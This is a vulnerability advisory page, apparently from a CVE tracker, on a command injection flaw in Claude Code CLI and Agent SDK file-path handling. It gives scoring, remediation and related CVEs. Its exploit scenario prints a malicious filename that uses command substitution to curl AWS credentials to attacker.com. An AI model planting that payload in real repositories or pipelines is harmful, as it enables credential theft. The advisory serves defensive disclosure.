Skip to main content

Claude Code CVE-2026-35021

| EUVDEUVD-2026-19440 HIGH
OS Command Injection (CWE-78)
2026-04-06 VulnCheck GHSA-72p2-f44p-v65f
8.4
CVSS 4.0 · NVD
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Craft malicious file path with shell metacharacters
  2. Exploit
    Invoke prompt editor with injected path
  3. Execution
    Shell interprets command substitution in quotes
  4. Impact
    Execute arbitrary commands with user privileges

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Local attacker with user interaction required. Victim must open a crafted file path containing shell metacharacters (e.g., $() or backticks) in Anthropic Claude Code CLI or Claude Agent SDK prompt editor. Affects all versions using vulnerable execSync invocation with double-quoted file path interpolation.

Impact

The CVSS 4.0 vector (AV:L/AC:L/AT:N/PR:N/UI:A) indicates local attack requiring user interaction but no privileges, with high confidentiality, integrity, and availability impact. Attack complexity is low once the attacker can influence processed file paths. Publicly available exploit code exists per VulnCheck advisory, significantly lowering the skill barrier for exploitation. No CISA KEV listing indicates no confirmed widespread active exploitation in enterprise environments at time of analysis. However, the local attack vector and user interaction requirement reduce immediate internet-scale risk compared to unauthenticated remote vulnerabilities. Real-world risk concentrates in specific threat scenarios: compromised repositories where attackers commit malicious file names, supply chain attacks targeting development toolchains, and insider threat contexts. The CVSS score of 8.4 aligns with actual risk in targeted environments (development pipelines, CI/CD systems) but may overstate risk for isolated desktop usage. EPSS data not provided, but public exploit availability suggests exploitation probability above baseline for command injection flaws. Priority assessment: High for organizations using Claude CLI/SDK in automated pipelines with untrusted input sources; Medium for interactive development use cases with proper code review.

Exploit ScenarioDerived

An attacker contributes a pull request to a repository monitored by CI/CD pipelines using Claude Code CLI for automated code analysis. The pull request includes a file named payload$(curl attacker.com/exfil?data=$(cat ~/.aws/credentials|base64)).txt. When the CI/CD runner invokes Claude CLI to process repository contents, the prompt editor utility constructs a shell command interpolating this filename. Despite double-quote wrapping, the POSIX shell evaluates the command substitution, executing curl to exfiltrate AWS credentials from the runner environment to attacker-controlled infrastructure. The attack succeeds without authentication and requires only that an automated system process the malicious filename. Publicly available exploit code exists demonstrating this injection vector, enabling rapid weaponization by threat actors targeting software development supply chains.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
No patch listed yet 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Apr 06, 2026

OS command injection in Anthropic Claude Code CLI and Claude Agent SDK for Python enables arbitrary command execution via malicious file paths containing shell metacharacters. Local attackers can exploit POSIX shell command substitution within double-quoted strings to execute commands with user privileges. Publicly available exploit code exists. With CVSS 8.4 (High) and local attack vector requiring user interaction, this represents elevated risk in CI/CD pipelines and development environments where untrusted file paths may be processed.

RemediationAI

Primary mitigation requires patching to versions that properly sanitize file path arguments before shell invocation. Consult Anthropic security advisories and the VulnCheck advisory at https://www.vulncheck.com/advisories/anthropic-claude-code-agent-sdk-os-command-injection-via-prompteditor-ts for vendor-released patches and fixed version information. Upstream fix available per Phoenix Security disclosure; organizations should verify patched version availability from Anthropic official channels. Workarounds for environments unable to immediately patch include: implementing strict input validation to reject file paths containing shell metacharacters ($, backtick, semicolon, pipe, ampersand) before passing to Claude tools; using allowlist-based path validation accepting only alphanumeric and standard filesystem characters; avoiding use of Claude CLI/SDK in automated pipelines processing untrusted repository contents until patched; and employing containerized sandboxing with limited privileges when processing external file structures. For CI/CD environments, restrict Claude tool invocation to curated, pre-validated file sets and implement monitoring for unusual child process spawning patterns indicative of exploitation attempts.

Affected VersionsENISA

Claude Code 0 ≤2.1.91
Claude Agent SDK for Python 0 ≤0.1.55

Affected Packages

euvd claude_agent_sdk_for_python no fix
euvd claude_code no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The vulnerability resides in the prompt editor invocation utility (prompteditor.ts) within both Claude Code CLI (cpe:2.3:a:anthropic:claude_code) and Claude Agent SDK for Python (cpe:2.3:a:anthropic:claude_agent_sdk_for_python). The root cause is CWE-78 (OS Command Injection) stemming from unsafe use of Node.js execSync() to invoke shell commands. The code interpolates user-controlled file paths into shell command strings and wraps them in double quotes, incorrectly assuming this provides sufficient sanitization. However, POSIX shell specification §2.2.3 explicitly permits command substitution using $() or backtick syntax within double-quoted contexts. When attackers craft file paths containing expressions like $(malicious_command) or malicious_command, the shell evaluates these before treating the result as a file path argument. This violates the principle of command-argument separation and allows elevation from data injection to code execution. The vulnerability is particularly concerning in CI/CD contexts where automated systems may process repository file paths or artifact names without manual inspection.

Know when Claude Code gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

NVD PRIMARY 8.4 HIGH
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Primary rating from NVD · only source for this CVE.

CVSS VectorNVD

Attack Vector
Local
Attack Complexity
Low
Attack Requirements
None
Privileges Required
None
User Interaction
Active
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
High
Vulnerable system: Availability
High
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

2
PoC Detected
Apr 07, 2026 - 13:20 vuln.today
Public exploit code
CVE Published
Apr 06, 2026 - 18:59 nvd
HIGH 8.4

DescriptionCVE.org

Anthropic Claude Code CLI and Claude Agent SDK contain an OS command injection vulnerability in the prompt editor invocation utility that allows attackers to execute arbitrary commands by crafting malicious file paths. Attackers can inject shell metacharacters such as $() or backtick expressions into file paths that are interpolated into shell commands executed via execSync. Although the file path is wrapped in double quotes, POSIX shell semantics (POSIX §2.2.3) do not prevent command substitution within double quotes, allowing injected expressions to be evaluated and resulting in arbitrary command execution with the privileges of the user running the CLI.

Executive ViewAI

Why It Matters

CVE-2026-35021 is a command injection vulnerability in Anthropic's Claude Code CLI and Python SDK that allows local attackers to execute arbitrary commands by supplying malicious file paths. This poses significant risk to development teams and CI/CD pipelines where these tools process untrusted inputs, potentially compromising build systems and developer workstations.

Business Impact: High
Compensating Controls

No vendor-released patch identified at time of analysis. Interim mitigations: (1) Implement strict input validation and path sanitization before passing file paths to Claude tools; (2) Run Claude CLI/SDK only with minimal required privileges, never as root or CI/CD service accounts with broad system access; (3) Restrict Claude tool usage to trusted, internally-controlled file sources only; avoid processing untrusted or user-supplied file paths; (4) Isolate Claude tool execution in containerized or sandboxed environments with limited host system access; (5) Monitor and audit command execution logs for anomalous activity in development and CI/CD systems.

Threat Intelligence Overview

EPSS Score
0.0%
Top 92% exploitable
Exploit
POC
Public exploit code exists
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC Yes
EPSS 0.0%
Patch available No
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
Poc
System Exposure· derived
Small
Automatable
No
Human Impact
High
Technical Impact
Total

Priority Score

62
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +42
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

CVE-2026-35022 CRITICAL POC
9.3 Apr 06

OS command injection in Anthropic Claude Code CLI and Agent SDK for Python allows remote, unauthenticated attackers to e

CVE-2025-59536 HIGH POC
8.7 Oct 03

Code injection in Anthropic's Claude Code CLI before version 1.0.111 allows malicious code embedded in a project directo

CVE-2026-35020 HIGH POC
8.6 Apr 06

OS command injection in Anthropic Claude Code CLI and Claude Agent SDK for Python allows local attackers to execute arbi

CVE-2026-25725 CRITICAL
10.0 Feb 06

Claude Code prior to version 2.1.2 has a CVSS 10.0 sandbox escape in the bubblewrap sandboxing mechanism, allowing code

CVE-2025-66032 CRITICAL POC
9.8 Dec 03

Claude Code is an agentic coding tool. Prior to 1.0.93, Due to errors in parsing shell commands related to $IFS and shor

CVE-2026-25722 CRITICAL
9.1 Feb 06

Claude Code prior to version 2.0.57 failed to properly validate MCP tool inputs, allowing malicious MCP servers to injec

CVE-2026-24887 HIGH POC
8.8 Feb 03

Claude Code versions before 2.0.72 allow authenticated attackers to execute arbitrary commands by exploiting a command p

CVE-2025-64755 HIGH
8.7 Nov 21

Claude Code is an agentic coding tool. Rated high severity (CVSS 8.7), this vulnerability is remotely exploitable, no au

CVE-2026-55607 HIGH
7.7 Jun 29

Sandbox escape and code execution in Anthropic's Claude Code CLI (versions 2.1.38 through 2.1.162) lets a malicious repo

CVE-2025-65099 HIGH
7.7 Nov 19

Claude Code is an agentic coding tool. Rated high severity (CVSS 7.7), this vulnerability is remotely exploitable, no au

CVE-2026-39861 HIGH POC
7.7 Apr 21

Sandbox escape in Claude Code versions prior to 2.1.64 enables arbitrary file writes outside the workspace by exploiting

CVE-2025-59828 HIGH
7.7 Sep 24

Claude Code is an agentic coding tool. Rated high severity (CVSS 7.7), this vulnerability is remotely exploitable, no au

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy